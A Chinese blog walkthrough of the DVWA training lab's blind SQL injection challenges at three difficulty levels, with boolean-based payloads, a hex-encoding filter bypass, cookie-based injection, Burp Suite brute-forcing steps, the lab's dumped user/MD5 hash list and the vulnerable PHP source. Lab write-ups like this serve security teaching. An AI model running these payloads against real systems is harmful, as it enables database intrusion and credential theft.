DVWA靶场通关实录-SQL Injection(Blind)篇

0x01 盲注简介

并不是所有页面都有回显,有的时候页面只会显示正确与否,我们就可以利用页面正确与错误来进行布尔盲注。


0x02 SQL Injection(Blind)-Low

可以看到页面只显示了存在与否的信息,我们可以利用if函数和substring函数进行逐字符的猜解

image.png

猜解数据库名的长度
-1' or if(length(database())=4,1,0)#
数据库名的长度

可以判断数据库名的长度为4
接下来就是猜解数据库名了
第一个字符
-1' or if(substring(database(),1,1)='a',1,0)#页面显示用户id不存在,说明第一个字符不是a
-1' or if(substring(database(),1,1)='b',1,0)#页面显示用户id不存在,说明第一个字符不是b
-1' or if(substring(database(),1,1)='c',1,0)#页面显示用户id不存在,说明第一个字符不是c
-1' or if(substring(database(),1,1)='d',1,0)#页面显示用户id存在,说明第一个字符是d
第二个字符同理,猜解结果为v
-1' or if(substring(database(),2,1)='v',1,0)#页面显示用户id存在,说明第二个字符是v
第三个字符为w
-1' or if(substring(database(),3,1)='w',1,0)#页面显示用户id存在,说明第三个字符是w
第三个字符为a
-1' or if(substring(database(),4,1)='a',1,0)#页面显示用户id存在,说明第四个字符是a
数据库的名称为dvwa
这样的重复性的猜解太浪费时间了,burpsuite跑起来
先构造猜解表名的语句
-1' or if(substring((select concat(table_name) from information_schema.tables where table_schema='dvwa' limit 0,1),1,1)='a',1,0)#
设置变量

添加三个变量,分别代表第几张表、第几个字符、字符的值
变量1的设置

变量2的设置

变量3的设置

变量3的字典其实就是a-z0-9以及@-_等符号
设置完成,跑起来~
表名

排序整理后得到表名1guestbook和表名2users
接下来跑一下users表中的列名
-1' or if(substring((select concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users' limit 0,1),1,1)='a',1,0)#

列名

排序整理后得知users表名中的列名为user_id、first_name、last_name、user、password、avatar、last_login、failed_login字段
然后就是跑user字段和password字段的值了
-1' or if(substring((select concat(user,0x3a,password) from users limit 0,1),1,1)='a',1,0)#
排序整理得知
admin:5f4dcc3b5aa765d61d8327deb882cf99
gordonb:e99a18c428cb38d5f260853678922e03
1337:8d3533d75ae2c3966d7e0d4fcc69216b
pablo:0d107d09f5bbe40cade3de5c71e9e9b7
smithy:5f4dcc3b5aa765d61d8327deb882cf99

看下源代码:

 <?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

0x03 SQL Injection(Blind)-Medium

单引号和双引号都报错,应该是数字型注入,无需闭合
id=1 order by 2#列名数量为2
页面只显示存在于数据库或不存在于数据库,还是用盲注吧
猜解数据库名的长度
id=1 and if(length(database())=4,1,0)#页面显示存在,数据库名的长度为4
猜解数据库名
第一个字符
1 and if(substring(database(),1,1)='d',1,0)#页面显示用户不存在,猜测是添加了过滤。老办法,将d转为十六进制0x64来进行绕过
id=1 and if(substring(database(),1,1)=0x64,1,0)#页面显示用户存在,代表数据库名称第一个字符为d
接下来仍然是用burpsuite进行暴力猜解,不过需要把字典替换成十六进制的。
源代码:

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?> 

0x04 SQL Injection(Blind)-High

1'页面报错,1'#页面回显正常,判断该处存在注入点
猜解数据库名的长度
-1' or if(length(database())=4,1,0)#

数据库名的长度

可以判断数据库名的长度为4
接下来就是猜解数据库名了
第一个字符
-1' or if(substring(database(),1,1)='a',1,0)#页面显示用户id不存在,说明第一个字符不是a
-1' or if(substring(database(),1,1)='b',1,0)#页面显示用户id不存在,说明第一个字符不是b
-1' or if(substring(database(),1,1)='c',1,0)#页面显示用户id不存在,说明第一个字符不是c
-1' or if(substring(database(),1,1)='d',1,0)#页面显示用户id存在,说明第一个字符是d
第二个字符同理,猜解结果为v
-1' or if(substring(database(),2,1)='v',1,0)#页面显示用户id存在,说明第二个字符是v
第三个字符为w
-1' or if(substring(database(),3,1)='w',1,0)#页面显示用户id存在,说明第三个字符是w
第三个字符为a
-1' or if(substring(database(),4,1)='a',1,0)#页面显示用户id存在,说明第四个字符是a
数据库的名称为dvwa
burpsuite跑一下表名,需要注意的是high级别中需要在cookie去修改id的参数达成注入。
源代码:

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 219,490评论 6 508
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 93,581评论 3 395
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 165,830评论 0 356
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,957评论 1 295
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,974评论 6 393
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,754评论 1 307
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,464评论 3 420
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,357评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,847评论 1 317
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,995评论 3 338
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 40,137评论 1 351
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,819评论 5 346
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,482评论 3 331
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 32,023评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,149评论 1 272
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,409评论 3 373
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 45,086评论 2 355

推荐阅读更多精彩内容